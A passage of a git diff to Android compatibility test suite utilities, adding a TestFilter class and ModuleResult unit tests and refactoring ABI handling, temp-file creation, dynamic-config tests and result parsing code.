+                        device.getSerialNumber(),
                         CONNECTIVITY_CHECK_INTERVAL_MS);
                 RunUtil.getDefault().sleep(CONNECTIVITY_CHECK_INTERVAL_MS);
             }
diff --git a/common/host-side/util/src/com/android/compatibility/common/util/PropertyUtil.java b/common/host-side/util/src/com/android/compatibility/common/util/PropertyUtil.java
index 199b826..2cdcc23 100644
--- a/common/host-side/util/src/com/android/compatibility/common/util/PropertyUtil.java
+++ b/common/host-side/util/src/com/android/compatibility/common/util/PropertyUtil.java
@@ -28,7 +28,7 @@
      * Name of read-only property detailing the first API level for which the product was
      * shipped. Property should be undefined for factory ROM products.
      */
-    public static String FIRST_API_LEVEL = "ro.product.first_api_level";
+    public static final String FIRST_API_LEVEL = "ro.product.first_api_level";
 
     /** Returns whether the device build is the factory ROM */
     public static boolean isFactoryROM(ITestDevice device) throws DeviceNotAvailableException {
diff --git a/common/host-side/util/src/com/android/compatibility/common/util/ReportLogHostInfoStore.java b/common/host-side/util/src/com/android/compatibility/common/util/ReportLogHostInfoStore.java
index 38b742b..f501010 100644
--- a/common/host-side/util/src/com/android/compatibility/common/util/ReportLogHostInfoStore.java
+++ b/common/host-side/util/src/com/android/compatibility/common/util/ReportLogHostInfoStore.java
@@ -27,12 +27,11 @@
 public class ReportLogHostInfoStore extends HostInfoStore {
 
     private final String mStreamName;
-    private final File tempJsonFile;
+    private File tempJsonFile;
 
     public ReportLogHostInfoStore(File jsonFile, String streamName) throws Exception {
         mJsonFile = jsonFile;
         mStreamName = streamName;
-        tempJsonFile = File.createTempFile(streamName, "-temp-report-log");
     }
 
     /**
@@ -42,7 +41,7 @@
     public void open() throws IOException {
         // Write new metrics to a temp file to avoid invalid JSON files due to failed tests.
         BufferedWriter formatWriter;
-        tempJsonFile.createNewFile();
+        tempJsonFile = File.createTempFile(mStreamName, "-temp-report-log");
         formatWriter = new BufferedWriter(new FileWriter(tempJsonFile));
         if (mJsonFile.exists()) {
             BufferedReader jsonReader = new BufferedReader(new FileReader(mJsonFile));
diff --git a/common/host-side/util/src/com/android/compatibility/common/util/TestFilter.java b/common/host-side/util/src/com/android/compatibility/common/util/TestFilter.java
new file mode 100644
index 0000000..c9220a4
--- /dev/null
+++ b/common/host-side/util/src/com/android/compatibility/common/util/TestFilter.java
@@ -0,0 +1,133 @@
+/*
+ * Copyright (C) 2015 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.util;
+
+import com.android.tradefed.util.AbiUtils;
+
+/**
+ * Represents a filter for including and excluding tests.
+ */
+public class TestFilter {
+
+    private final String mAbi;
+    private final String mName;
+    private final String mTest;
+
+    /**
+     * Builds a new {@link TestFilter} from the given string. Filters can be in one of four forms,
+     * the instance will be initialized as;
+     * -"name"                 -> abi = null, name = "name", test = null
+     * -"name" "test..."       -> abi = null, name = "name", test = "test..."
+     * -"abi" "name"           -> abi = "abi", name = "name", test = null
+     * -"abi" "name" "test..." -> abi = "abi", name = "name", test = "test..."
+     *
+     * Test identifier can contain multiple parts, eg parameterized tests.
+     *
+     * @param filter the filter to parse
+     * @return the {@link TestFilter}
+     */
+    public static TestFilter createFrom(String filter) {
+        if (filter.isEmpty()) {
+            throw new IllegalArgumentException("Filter was empty");
+        }
+        String[] parts = filter.split(" ");
+        String abi = null, name = null, test = null;
+        // Either:
+        // <name>
+        // <name> <test>
+        // <abi> <name>
+        // <abi> <name> <test>
+        if (parts.length == 1) {
+            name = parts[0];
+        } else {
+            int index = 0;
+            if (AbiUtils.isAbiSupportedByCompatibility(parts[0])) {
+                abi = parts[0];
+                index++;
+            }
+            name = parts[index];
+            index++;
+            parts = filter.split(" ", index + 1);
+            if (parts.length > index) {
+                test = parts[index];
+            }
+        }
+        return new TestFilter(abi, name, test);
+    }
+
+    /**
+     * Creates a new {@link TestFilter} from the given parts.
+     *
+     * @param abi The ABI must be supported {@link AbiUtils#isAbiSupportedByCompatibility(String)}
+     * @param name The module's name
+     * @param test The test's identifier eg <package>.<class>#<method>
+     */
+    public TestFilter(String abi, String name, String test) {
+        mAbi = abi;
+        mName = name;
+        mTest = test;
+    }
+
+    /**
+     * Returns a String representation of this filter. This function is the inverse of
+     * {@link TestFilter#createFrom(String)}.
+     *
+     * For a valid filter f;
+     * <pre>
+     * {@code
+     * new TestFilter(f).toString().equals(f)
+     * }
+     * </pre>
+     */
+    @Override
+    public String toString() {
+        StringBuilder sb = new StringBuilder();
+        if (mAbi != null) {
+            sb.append(mAbi.trim());
+            sb.append(" ");
+        }
+        if (mName != null) {
+            sb.append(mName.trim());
+        }
+        if (mTest != null) {
+            sb.append(" ");
+            sb.append(mTest.trim());
+        }
+        return sb.toString();
+    }
+
+    /**
+     * @return the abi of this filter, or null if not specified.
+     */
+    public String getAbi() {
+        return mAbi;
+    }
+
+    /**
+     * @return the module name of this filter, or null if not specified.
+     */
+    public String getName() {
+        return mName;
+    }
+
+    /**
+     * @return the test identifier of this filter, or null if not specified.
+     */
+    public String getTest() {
+        return mTest;
+    }
+
+}
diff --git a/common/host-side/util/tests/Android.mk b/common/host-side/util/tests/Android.mk
index 6981ed7..338d6c3 100644
--- a/common/host-side/util/tests/Android.mk
+++ b/common/host-side/util/tests/Android.mk
@@ -18,10 +18,10 @@
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
-LOCAL_JAVA_LIBRARIES := compatibility-host-util junit-host json-prebuilt tradefed-prebuilt
+LOCAL_JAVA_LIBRARIES := compatibility-host-util junit-host json-prebuilt tradefed
 
 LOCAL_MODULE := compatibility-host-util-tests
 
 LOCAL_MODULE_TAGS := optional
-
+include cts/error_prone_rules.mk
 include $(BUILD_HOST_JAVA_LIBRARY)
diff --git a/common/host-side/util/tests/src/com/android/compatibility/common/util/DynamicConfigHandlerTest.java b/common/host-side/util/tests/src/com/android/compatibility/common/util/DynamicConfigHandlerTest.java
index 36c4970..ef0e824 100644
--- a/common/host-side/util/tests/src/com/android/compatibility/common/util/DynamicConfigHandlerTest.java
+++ b/common/host-side/util/tests/src/com/android/compatibility/common/util/DynamicConfigHandlerTest.java
@@ -16,6 +16,9 @@
 
 package com.android.compatibility.common.util;
 
+import com.android.tradefed.util.FileUtil;
+import com.android.tradefed.util.StreamUtil;
+
 import junit.framework.TestCase;
 
 import java.io.File;
@@ -30,7 +33,7 @@
  */
 public class DynamicConfigHandlerTest extends TestCase {
 
-    private static final String localConfig =
+    private static final String LOCAL_CONFIG =
             "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n" +
             "<dynamicConfig>\n" +
             "    <entry key=\"test-config-1\">\n" +
@@ -58,7 +61,7 @@
             "    </entry>\n" +
             "</dynamicConfig>\n";
 
-    private static final String overrideJson =
+    private static final String OVERRIDE_JSON =
             "{\n" +
             "  \"dynamicConfigEntries\": {\n" +
             "    \"override-config-1\": {\n" +
@@ -91,30 +94,34 @@
 
     public void testDynamicConfigHandler() throws Exception {
         String module = "test1";
-        File localConfigFile = createFileFromStr(localConfig, module);
+        File localConfigFile = createFileFromStr(LOCAL_CONFIG, module);
+        File mergedFile = null;
+        try {
+            mergedFile = DynamicConfigHandler
+                    .getMergedDynamicConfigFile(localConfigFile, OVERRIDE_JSON, module);
 
-        File mergedFile = DynamicConfigHandler
-                .getMergedDynamicConfigFile(localConfigFile, overrideJson, module);
+            Map<String, List<String>> configMap = DynamicConfig.createConfigMap(mergedFile);
 
-        Map<String, List<String>> configMap = DynamicConfig.createConfigMap(mergedFile);
+            assertEquals("override-config-val-1", configMap.get("override-config-1").get(0));
+            assertTrue(configMap.get("override-config-list-1")
+                    .contains("override-config-list-val-1-1"));
+            assertTrue(configMap.get("override-config-list-1")
+                    .contains("override-config-list-val-1-2"));
+            assertTrue(configMap.get("override-config-list-3").size() == 0);
 
-        assertEquals("override-config-val-1", configMap.get("override-config-1").get(0));
-        assertTrue(configMap.get("override-config-list-1")
-                .contains("override-config-list-val-1-1"));
-        assertTrue(configMap.get("override-config-list-1")
-                .contains("override-config-list-val-1-2"));
-        assertTrue(configMap.get("override-config-list-3").size() == 0);
+            assertEquals("test config 1", configMap.get("test-config-1").get(0));
+            assertTrue(configMap.get("config-list").contains("config2"));
 
-        assertEquals("test config 1", configMap.get("test-config-1").get(0));
-        assertTrue(configMap.get("config-list").contains("config2"));
-
-        assertEquals("override-config-val-2", configMap.get("override-config-2").get(0));
-        assertEquals(1, configMap.get("override-config-list-2").size());
-        assertTrue(configMap.get("override-config-list-2")
-                .contains("override-config-list-val-2-1"));
+            assertEquals("override-config-val-2", configMap.get("override-config-2").get(0));
+            assertEquals(1, configMap.get("override-config-list-2").size());
+            assertTrue(configMap.get("override-config-list-2")
+                    .contains("override-config-list-val-2-1"));
+        } finally {
+            FileUtil.deleteFile(localConfigFile);
+            FileUtil.recursiveDelete(mergedFile.getParentFile());
+        }
     }
 
-
     private File createFileFromStr(String configStr, String module) throws IOException {
         File file = File.createTempFile(module, "dynamic");
         FileOutputStream stream = null;
@@ -123,9 +130,7 @@
             stream.write(configStr.getBytes());
             stream.flush();
         } finally {
-            if (stream != null) {
-                stream.close();
-            }
+            StreamUtil.close(stream);
         }
         return file;
     }
diff --git a/common/host-side/util/tests/src/com/android/compatibility/common/util/HostUnitTests.java b/common/host-side/util/tests/src/com/android/compatibility/common/util/HostUnitTests.java
index 094943b..a706018 100644
--- a/common/host-side/util/tests/src/com/android/compatibility/common/util/HostUnitTests.java
+++ b/common/host-side/util/tests/src/com/android/compatibility/common/util/HostUnitTests.java
@@ -28,9 +28,11 @@
     public HostUnitTests() {
         super();
         addTestSuite(DynamicConfigHandlerTest.class);
+        addTestSuite(ModuleResultTest.class);
+        addTestSuite(TestFilterTest.class);
     }
 
     public static Test suite() {
         return new HostUnitTests();
     }
-}
+}
\ No newline at end of file
diff --git a/common/host-side/util/tests/src/com/android/compatibility/common/util/ModuleResultTest.java b/common/host-side/util/tests/src/com/android/compatibility/common/util/ModuleResultTest.java
new file mode 100644
index 0000000..474d168
--- /dev/null
+++ b/common/host-side/util/tests/src/com/android/compatibility/common/util/ModuleResultTest.java
@@ -0,0 +1,121 @@
+/*
+ * Copyright (C) 2015 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util;
+
+import com.android.tradefed.util.AbiUtils;
+
+import junit.framework.TestCase;
+
+/**
+ * Unit tests for {@link ModuleResult}
+ */
+public class ModuleResultTest extends TestCase {
+
+    private static final String NAME = "ModuleName";
+    private static final String NAME_2 = "ModuleName2";
+    private static final String ABI = "mips64";
+    private static final String ID = AbiUtils.createId(ABI, NAME);
+    private static final String ID_2 = AbiUtils.createId(ABI, NAME_2);
+    private static final String CLASS = "android.test.FoorBar";
+    private static final String CLASS_2 = "android.test.FoorBar2";
+    private static final String METHOD_1 = "testBlah1";
+    private static final String METHOD_2 = "testBlah2";
+    private static final String METHOD_3 = "testBlah3";
+    private static final String STACK_TRACE = "Something small is not alright\n " +
+            "at four.big.insects.Marley.sing(Marley.java:10)";
+    private ModuleResult mResult;
+
+    @Override
+    public void setUp() throws Exception {
+        mResult = new ModuleResult(ID);
+    }
+
+    @Override
+    public void tearDown() throws Exception {
+        mResult = null;
+    }
+
+    public void testAccessors() throws Exception {
+        assertEquals("Incorrect module ID", ID, mResult.getId());
+        assertEquals("Incorrect module ABI", ABI, mResult.getAbi());
+        assertEquals("Incorrect module name", NAME, mResult.getName());
+    }
+
+    public void testResultCreation() throws Exception {
+        ICaseResult caseResult = mResult.getOrCreateResult(CLASS);
+        // Should create one
+        assertEquals("Expected one result", 1, mResult.getResults().size());
+        assertTrue("Expected test result", mResult.getResults().contains(caseResult));
+        // Should not create another one
+        ICaseResult caseResult2 = mResult.getOrCreateResult(CLASS);
+        assertEquals("Expected the same result", caseResult, caseResult2);
+        assertEquals("Expected one result", 1, mResult.getResults().size());
+    }
+
+    public void testCountResults() throws Exception {
+        ICaseResult testCase = mResult.getOrCreateResult(CLASS);
+        testCase.getOrCreateResult(METHOD_1).failed(STACK_TRACE);
+        testCase.getOrCreateResult(METHOD_2).failed(STACK_TRACE);
+        testCase.getOrCreateResult(METHOD_3).passed(null);
+        assertEquals("Expected two failures", 2, mResult.countResults(TestStatus.FAIL));
+        assertEquals("Expected one pass", 1, mResult.countResults(TestStatus.PASS));
+    }
+
+    public void testMergeModule() throws Exception {
+        ICaseResult caseResult = mResult.getOrCreateResult(CLASS);
+        caseResult.getOrCreateResult(METHOD_1).failed(STACK_TRACE);
+        caseResult.getOrCreateResult(METHOD_3).passed(null);
+
+        ICaseResult caseResult2 = mResult.getOrCreateResult(CLASS_2);
+        caseResult2.getOrCreateResult(METHOD_1).failed(STACK_TRACE);
+        caseResult2.getOrCreateResult(METHOD_3).passed(null);
+
+        assertEquals("Expected two results", 2, mResult.getResults().size());
+        assertTrue("Expected test result", mResult.getResults().contains(caseResult));
+        assertTrue("Expected test result", mResult.getResults().contains(caseResult2));
+
+        ModuleResult otherResult = new ModuleResult(ID);
+        // Same class but all passing tests
+        ICaseResult otherCaseResult = otherResult.getOrCreateResult(CLASS);
+        otherCaseResult.getOrCreateResult(METHOD_1).passed(null);
+        otherCaseResult.getOrCreateResult(METHOD_2).passed(null);
+        otherCaseResult.getOrCreateResult(METHOD_3).passed(null);
+        otherResult.setDone(true);
+
+        mResult.mergeFrom(otherResult);
+
+        assertEquals("Expected two results", 2, mResult.getResults().size());
+        assertTrue("Expected test result", mResult.getResults().contains(caseResult));
+        assertTrue("Expected test result", mResult.getResults().contains(caseResult2));
+        assertTrue(mResult.isDone());
+    }
+
+    public void testSetDone() {
+        assertFalse(mResult.isDone());
+        mResult.setDone(true);
+        assertTrue(mResult.isDone());
+    }
+
+    public void testMergeModule_mismatchedModuleId() throws Exception {
+
+        ModuleResult otherResult = new ModuleResult(ID_2);
+        try {
+            mResult.mergeFrom(otherResult);
+            fail("Expected IlleglArgumentException");
+        } catch (IllegalArgumentException expected) {}
+    }
+}
diff --git a/common/util/tests/src/com/android/compatibility/common/util/TestFilterTest.java b/common/host-side/util/tests/src/com/android/compatibility/common/util/TestFilterTest.java
similarity index 100%
rename from common/util/tests/src/com/android/compatibility/common/util/TestFilterTest.java
rename to common/host-side/util/tests/src/com/android/compatibility/common/util/TestFilterTest.java
diff --git a/common/util/Android.mk b/common/util/Android.mk
index 075e186..ae89d37 100644
--- a/common/util/Android.mk
+++ b/common/util/Android.mk
@@ -26,7 +26,7 @@
 
 LOCAL_MODULE := compatibility-common-util-devicesidelib
 
-LOCAL_STATIC_JAVA_LIBRARIES := guava junit
+LOCAL_STATIC_JAVA_LIBRARIES :=  guava
 
 LOCAL_SDK_VERSION := current
 
@@ -48,7 +48,7 @@
                                 junit-host \
                                 kxml2-2.3.0 \
                                 platform-test-annotations-host
-
+include cts/error_prone_rules.mk
 include $(BUILD_HOST_JAVA_LIBRARY)
 
 include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/common/util/src/com/android/compatibility/common/util/AbiUtils.java b/common/util/src/com/android/compatibility/common/util/AbiUtils.java
index ef42a00..c9c82b7 100644
--- a/common/util/src/com/android/compatibility/common/util/AbiUtils.java
+++ b/common/util/src/com/android/compatibility/common/util/AbiUtils.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (C) 2014 The Android Open Source Project
+ * Copyright (C) 2016 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -15,126 +15,12 @@
  */
 package com.android.compatibility.common.util;
 
-import java.util.HashMap;
-import java.util.HashSet;
-import java.util.Map;
-import java.util.Set;
-
 /**
  * Utility class for handling device ABIs
  */
 public class AbiUtils {
 
     /**
-     * The set of 32Bit ABIs.
-     */
-    private static final Set<String> ABIS_32BIT = new HashSet<String>();
-
-    /**
-     * The set of 64Bit ABIs.
-     */
-    private static final Set<String> ABIS_64BIT = new HashSet<String>();
-
-    /**
-     * The set of ARM ABIs.
-     */
-    private static final Set<String> ARM_ABIS = new HashSet<String>();
-
-    /**
-     * The set of Intel ABIs.
-     */
-    private static final Set<String> INTEL_ABIS = new HashSet<String>();
-
-    /**
-     * The set of Mips ABIs.
-     */
-    private static final Set<String> MIPS_ABIS = new HashSet<String>();
-
-    /**
-     * The set of ABI names which Compatibility supports.
-     */
-    private static final Set<String> ABIS_SUPPORTED_BY_COMPATIBILITY = new HashSet<String>();
-
-    /**
-     * The map of architecture to ABI.
-     */
-    private static final Map<String, Set<String>> ARCH_TO_ABIS = new HashMap<String, Set<String>>();
-    static {
-        ABIS_32BIT.add("armeabi-v7a");
-        ABIS_32BIT.add("x86");
-        ABIS_32BIT.add("mips");
-
-        ABIS_64BIT.add("arm64-v8a");
-        ABIS_64BIT.add("x86_64");
-        ABIS_64BIT.add("mips64");
-
-        ARM_ABIS.add("armeabi-v7a");
-        ARM_ABIS.add("arm64-v8a");
-
-        INTEL_ABIS.add("x86");
-        INTEL_ABIS.add("x86_64");
-
-        MIPS_ABIS.add("mips");
-        MIPS_ABIS.add("mips64");
-
-        ARCH_TO_ABIS.put("arm", ARM_ABIS);
-        ARCH_TO_ABIS.put("arm64", ARM_ABIS);
-        ARCH_TO_ABIS.put("x86", INTEL_ABIS);
-        ARCH_TO_ABIS.put("x86_64", INTEL_ABIS);
-        ARCH_TO_ABIS.put("mips", MIPS_ABIS);
-        ARCH_TO_ABIS.put("mips64", MIPS_ABIS);
-
-        ABIS_SUPPORTED_BY_COMPATIBILITY.addAll(ARM_ABIS);
-        ABIS_SUPPORTED_BY_COMPATIBILITY.addAll(INTEL_ABIS);
-        ABIS_SUPPORTED_BY_COMPATIBILITY.addAll(MIPS_ABIS);
-    }
-
-    /**
-     * Private constructor to avoid instantiation.
-     */
-    private AbiUtils() {}
-
-    /**
-     * Returns the set of ABIs associated with the given architecture.
-     * @param arch The architecture to look up.
-     * @return a new Set containing the ABIs.
-     */
-    public static Set<String> getAbisForArch(String arch) {
-        if (arch == null || arch.isEmpty() || !ARCH_TO_ABIS.containsKey(arch)) {
-            return getAbisSupportedByCompatibility();
-        }
-        return new HashSet<String>(ARCH_TO_ABIS.get(arch));
-    }
-
-    /**
-     * Returns the set of ABIs supported by Compatibility.
-     * @return a new Set containing the supported ABIs.
-     */
-    public static Set<String> getAbisSupportedByCompatibility() {
-        return new HashSet<String>(ABIS_SUPPORTED_BY_COMPATIBILITY);
-    }
-
-    /**
-     * @param abi The ABI name to test.
-     * @return true if the given ABI is supported by Compatibility.
-     */
-    public static boolean isAbiSupportedByCompatibility(String abi) {
-        return ABIS_SUPPORTED_BY_COMPATIBILITY.contains(abi);
-    }
-
-    /**
-     * Creates a flag for the given ABI.
-     * @param abi the ABI to create the flag for.
-     * @return a string which can be add to a command sent to ADB.
-     */
-    public static String createAbiFlag(String abi) {
-        if (abi == null || abi.isEmpty() || !isAbiSupportedByCompatibility(abi)) {
-            return "";
-        }
-        return String.format("--abi %s ", abi);
-    }
-
-    /**
      * Creates a unique id from the given ABI and name.
      * @param abi The ABI to use.
      * @param name The name to use.
@@ -145,6 +31,14 @@
     }
 
     /**
+     * @return the abi portion of the test id.
+     *         e.g. armeabi-v7a android.mytest = armeabi-v7a
+     */
+    public static String parseAbi(String id) {
+        return parseId(id)[0];
+    }
+
+    /**
      * Parses a unique id into the ABI and name.
      * @param id The id to parse.
      * @return a string array containing the ABI and name.
@@ -164,37 +58,4 @@
         return parseId(id)[1];
     }
 
-    /**
-     * @return the abi portion of the test id.
-     *         e.g. armeabi-v7a android.mytest = armeabi-v7a
-     */
-    public static String parseAbi(String id) {
-        return parseId(id)[0];
-    }
-
-    /**
-     * @param name The name of the ABI.
-     * @return The bitness of the ABI with the given name
-     */
-    public static String getBitness(String name) {
-        return ABIS_32BIT.contains(name) ? "32" : "64";
-    }
-
-    /**
-     * @param unsupportedAbiDescription A comma separated string containing abis.
-     * @return A List of Strings containing valid ABIs.
-     */
-    public static Set<String> parseAbiList(String unsupportedAbiDescription) {
-        Set<String> abiSet = new HashSet<>();
-        String[] descSegments = unsupportedAbiDescription.split(":");
-        if (descSegments.length == 2) {
-            for (String abi : descSegments[1].split(",")) {
-                String trimmedAbi = abi.trim();
-                if (isAbiSupportedByCompatibility(trimmedAbi)) {
-                    abiSet.add(trimmedAbi);
-                }
-            }
-        }
-        return abiSet;
-    }
 }
diff --git a/common/util/src/com/android/compatibility/common/util/CaseResult.java b/common/util/src/com/android/compatibility/common/util/CaseResult.java
index 36f77d7..a7c3318 100644
--- a/common/util/src/com/android/compatibility/common/util/CaseResult.java
+++ b/common/util/src/com/android/compatibility/common/util/CaseResult.java
@@ -119,7 +119,7 @@
     public void mergeFrom(ICaseResult otherCaseResult) {
         if (!otherCaseResult.getName().equals(getName())) {
             throw new IllegalArgumentException(String.format(
-                "Cannot merge case result with mismatched name. Expected %s, Found %d",
+                "Cannot merge case result with mismatched name. Expected %s, Found %s",
                         otherCaseResult.getName(), getName()));
         }
 
diff --git a/common/util/src/com/android/compatibility/common/util/DevicePropertyInfo.java b/common/util/src/com/android/compatibility/common/util/DevicePropertyInfo.java
index ec24b42..04ab61e 100644
--- a/common/util/src/com/android/compatibility/common/util/DevicePropertyInfo.java
+++ b/common/util/src/com/android/compatibility/common/util/DevicePropertyInfo.java
@@ -50,12 +50,13 @@
     private final String mVersionRelease;
     private final String mVersionSdk;
     private final String mVersionSecurityPatch;
+    private final String mVersionIncremental;
 
     public DevicePropertyInfo(String abi, String abi2, String abis, String abis32, String abis64,
             String board, String brand, String device, String fingerprint, String id,
             String manufacturer, String model, String product, String referenceFigerprint,
             String serial, String tags, String type, String versionBaseOs, String versionRelease,
-            String versionSdk, String versionSecurityPatch) {
+            String versionSdk, String versionSecurityPatch, String versionIncremental) {
         mAbi = abi;
         mAbi2 = abi2;
         mAbis = abis;
@@ -77,6 +78,7 @@
         mVersionRelease = versionRelease;
         mVersionSdk = versionSdk;
         mVersionSecurityPatch = versionSecurityPatch;
+        mVersionIncremental = versionIncremental;
     }
 
     /**
@@ -108,6 +110,7 @@
         propertyMap.put(prefix + "version_release", mVersionRelease);
         propertyMap.put(prefix + "version_sdk", mVersionSdk);
         propertyMap.put(prefix + "version_security_patch", mVersionSecurityPatch);
+        propertyMap.put(prefix + "version_incremental", mVersionIncremental);
 
         return propertyMap;
     }
diff --git a/common/util/src/com/android/compatibility/common/util/DynamicConfig.java b/common/util/src/com/android/compatibility/common/util/DynamicConfig.java
index d316b9d..1efc5e1 100644
--- a/common/util/src/com/android/compatibility/common/util/DynamicConfig.java
+++ b/common/util/src/com/android/compatibility/common/util/DynamicConfig.java
@@ -42,12 +42,7 @@
     public static final String ENTRY_TAG = "entry";
     public static final String VALUE_TAG = "value";
     public static final String KEY_ATTR = "key";
-
     public final static String CONFIG_FOLDER_ON_DEVICE = "/sdcard/dynamic-config-files/";
-    public final static String CONFIG_FOLDER_ON_HOST =
-            System.getProperty("java.io.tmpdir") + "/dynamic-config-files/";
-    public final static String MERGED_CONFIG_FILE_FOLDER =
-            System.getProperty("java.io.tmpdir") + "/dynamic-config-files/merged";
 
     protected Map<String, List<String>> mDynamicConfigMap = new HashMap<String, List<String>>();
 
diff --git a/common/util/src/com/android/compatibility/common/util/IInvocationResult.java b/common/util/src/com/android/compatibility/common/util/IInvocationResult.java
index 2b75371..96eca2d 100644
--- a/common/util/src/com/android/compatibility/common/util/IInvocationResult.java
+++ b/common/util/src/com/android/compatibility/common/util/IInvocationResult.java
@@ -134,4 +134,5 @@
      * Set the directory of the previous sessions results
      */
     void setRetryDirectory(File resultDir);
+
 }
diff --git a/common/util/src/com/android/compatibility/common/util/ITestResult.java b/common/util/src/com/android/compatibility/common/util/ITestResult.java
index 24ee1aa..d5c95e8 100644
--- a/common/util/src/com/android/compatibility/common/util/ITestResult.java
+++ b/common/util/src/com/android/compatibility/common/util/ITestResult.java
@@ -121,13 +121,17 @@
      * Report that the test was skipped.
      *
      * This means that the test is not considered appropriate for the
-     * current device, and thus is never attempted.  Unlike notExecuted(),
-     * this indicates the run of this test was valid and nothing further
-     * needs to be done.
+     * current device, and thus is never attempted. The test does not require execution,
+     * and nothing more needs to be done.
      */
     void skipped();
 
     /**
+     * Retrieves whether execution for this test result has been determined unnecessary.
+     */
+    boolean isSkipped();
+
+    /**
      * Resets the result.
      */
     void reset();
diff --git a/common/util/src/com/android/compatibility/common/util/InfoStore.java b/common/util/src/com/android/compatibility/common/util/InfoStore.java
index b8014f7..c5a411e 100644
--- a/common/util/src/com/android/compatibility/common/util/InfoStore.java
+++ b/common/util/src/com/android/compatibility/common/util/InfoStore.java
@@ -15,7 +15,6 @@
  */
 package com.android.compatibility.common.util;
 
-import java.io.File;
 import java.io.IOException;
 import java.util.Arrays;
 import java.util.List;
diff --git a/common/util/src/com/android/compatibility/common/util/InvocationResult.java b/common/util/src/com/android/compatibility/common/util/InvocationResult.java
index 83f1dac..c11c27d 100644
--- a/common/util/src/com/android/compatibility/common/util/InvocationResult.java
+++ b/common/util/src/com/android/compatibility/common/util/InvocationResult.java
@@ -40,6 +40,7 @@
     private int mNotExecuted = 0;
     private RetryChecksumStatus mRetryChecksumStatus = RetryChecksumStatus.NotRetry;
     private File mRetryDirectory = null;
+
     /**
      * {@inheritDoc}
      */
diff --git a/common/util/src/com/android/compatibility/common/util/MetricsXmlSerializer.java b/common/util/src/com/android/compatibility/common/util/MetricsXmlSerializer.java
index a7b1153..ce8696b 100644
--- a/common/util/src/com/android/compatibility/common/util/MetricsXmlSerializer.java
+++ b/common/util/src/com/android/compatibility/common/util/MetricsXmlSerializer.java
@@ -19,7 +19,6 @@
 import org.xmlpull.v1.XmlSerializer;
 
 import java.io.IOException;
-import java.util.List;
 
 //TODO(stuartscott): Delete file for v2, ReportLog can serialize itself.
 /**
diff --git a/common/util/src/com/android/compatibility/common/util/ResultHandler.java b/common/util/src/com/android/compatibility/common/util/ResultHandler.java
index 23ce5e0..4aa6e05 100644
--- a/common/util/src/com/android/compatibility/common/util/ResultHandler.java
+++ b/common/util/src/com/android/compatibility/common/util/ResultHandler.java
@@ -25,7 +25,6 @@
 import org.xmlpull.v1.XmlSerializer;
 
 import java.io.File;
-import java.io.FileInputStream;
 import java.io.FileNotFoundException;
 import java.io.FileOutputStream;
 import java.io.FileReader;
@@ -34,21 +33,21 @@
 import java.io.OutputStream;
 import java.net.InetAddress;
 import java.net.UnknownHostException;
+import java.nio.file.FileSystems;
+import java.nio.file.Files;
+import java.nio.file.Path;
 import java.text.SimpleDateFormat;
 import java.util.ArrayList;
-import java.util.Comparator;
 import java.util.Collections;
 import java.util.Date;
 import java.util.List;
 import java.util.Map.Entry;
 import java.util.Set;
-
 import javax.xml.transform.Transformer;
 import javax.xml.transform.TransformerException;
 import javax.xml.transform.TransformerFactory;
 import javax.xml.transform.stream.StreamResult;
 import javax.xml.transform.stream.StreamSource;
-
 /**
  * Handles conversion of results to/from files.
  */
@@ -104,6 +103,7 @@
     private static final String RESULT_TAG = "Result";
     private static final String RUNTIME_ATTR = "runtime";
     private static final String SCREENSHOT_TAG = "Screenshot";
+    private static final String SKIPPED_ATTR = "skipped";
     private static final String STACK_TAG = "StackTrace";
     private static final String START_DISPLAY_TIME_ATTR = "start_display";
     private static final String START_TIME_ATTR = "start";
@@ -114,6 +114,7 @@
     private static final String SUMMARY_TAG = "Summary";
     private static final String TEST_TAG = "Test";
 
+
     /**
      * Returns IInvocationResults that can be queried for general reporting information, but that
      * do not store underlying module data. Useful for summarizing invocation history.
@@ -131,11 +132,9 @@
             }
         }
         // Sort the table entries on each entry's timestamp.
-        Collections.sort(results, new Comparator<IInvocationResult>() {
-            public int compare(IInvocationResult result1, IInvocationResult result2) {
-                return Long.compare(result1.getStartTime(), result2.getStartTime());
-            }
-        });
+        Collections.sort(results,  (result1, result2) -> Long.compare(
+                result1.getStartTime(),
+                result2.getStartTime()));
         return results;
     }
 
@@ -159,16 +158,16 @@
                 return null;
             }
             Boolean invocationUseChecksum = useChecksum;
-            IInvocationResult result = new InvocationResult();
-            result.setRetryDirectory(resultDir);
+            IInvocationResult invocation = new InvocationResult();
+            invocation.setRetryDirectory(resultDir);
             ChecksumReporter checksumReporter = null;
             if (invocationUseChecksum) {
                 try {
                     checksumReporter = ChecksumReporter.load(resultDir);
-                    result.setRetryChecksumStatus(RetryChecksumStatus.RetryWithChecksum);
+                    invocation.setRetryChecksumStatus(RetryChecksumStatus.RetryWithChecksum);
                 } catch (ChecksumValidationException e) {
                     // Unable to read checksum form previous execution
-                    result.setRetryChecksumStatus(RetryChecksumStatus.RetryWithoutChecksum);
+                    invocation.setRetryChecksumStatus(RetryChecksumStatus.RetryWithoutChecksum);
                     invocationUseChecksum = false;
                 }
             }
@@ -178,21 +177,21 @@
 
             parser.nextTag();
             parser.require(XmlPullParser.START_TAG, NS, RESULT_TAG);
-            result.setStartTime(Long.valueOf(
+            invocation.setStartTime(Long.valueOf(
                     parser.getAttributeValue(NS, START_TIME_ATTR)));
